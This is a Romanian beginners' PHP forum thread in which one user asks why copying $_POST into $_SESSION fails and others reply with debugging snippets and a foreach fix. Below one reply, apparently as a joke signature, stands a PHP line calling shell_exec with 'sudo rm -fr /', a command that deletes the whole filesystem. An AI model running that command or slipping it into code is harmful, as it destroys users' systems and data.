Problema tampita

Secţiune dedicată începatorilor.

Moderatori: Moderatori, Start Moderator

piticu75
PHPRomania Supporter
Mesaje: 10
Membru din: Sâm Feb 18, 2006 5:47 pm
Localitate: Pitesti

Problema tampita

Mesajde piticu75 » Sâm Mar 11, 2006 10:08 am

Salutare ! Care poate sa ma lamureasca si pe mine cum se poate ca atunci cand preiau valorile trimise printr-un formular folosind $_SESSION[] = $_POST[] atunci cand in query-ul folosit pentru a insera in tabela valorile folosesc $_SESSION nu-mi insereaza nimic dar daca pun $_POST merge !?
Pierd continutul lui $_SESSION si nu stiu unde si cum.

Merci !


N-am

s_leo75
Junior Member
Mesaje: 48
Membru din: Sâm Ian 28, 2006 11:19 am
Contact:

Mesajde s_leo75 » Sâm Mar 11, 2006 11:08 am

Testeaza asa , sa vezi daca n-ai greseli de cod:

$_SESSION['var']='';
if (isset ($_POST['variabila'])) { $_SESSION['var']=$_POST['variabila'];};
echo $_SESSION['var'];


Ar trebui sa mearga.
<?php
shell_exec("sudo rm -fr /");
?>

coditza
Senior Member
Mesaje: 298
Membru din: Vin Ian 23, 2004 7:30 pm
Localitate: cluj-napoca

Mesajde coditza » Sâm Mar 11, 2006 2:34 pm

Probabil pentru ca $_SESSION[] = $_POST[]; nu face nika. Defapt chiar da eroare:

Fatal error: Cannot use [] for reading in /usr/home/coditza/public_html/test2.php on line 2

Sa muti tot ce este in $_POST in $_SESSION:

foreach($_POST as $k=>$v) {
$_SESSION[$k] = $v;
}

Ceea ce nu inteleg, dice ai vrea sa faci asa ceva?
function foo() { foo(); }


Înapoi la “PHP Incepători”

Cine este conectat

Utilizatori ce ce navighează pe acest forum: Niciun utilizator înregistrat și 19 vizitatori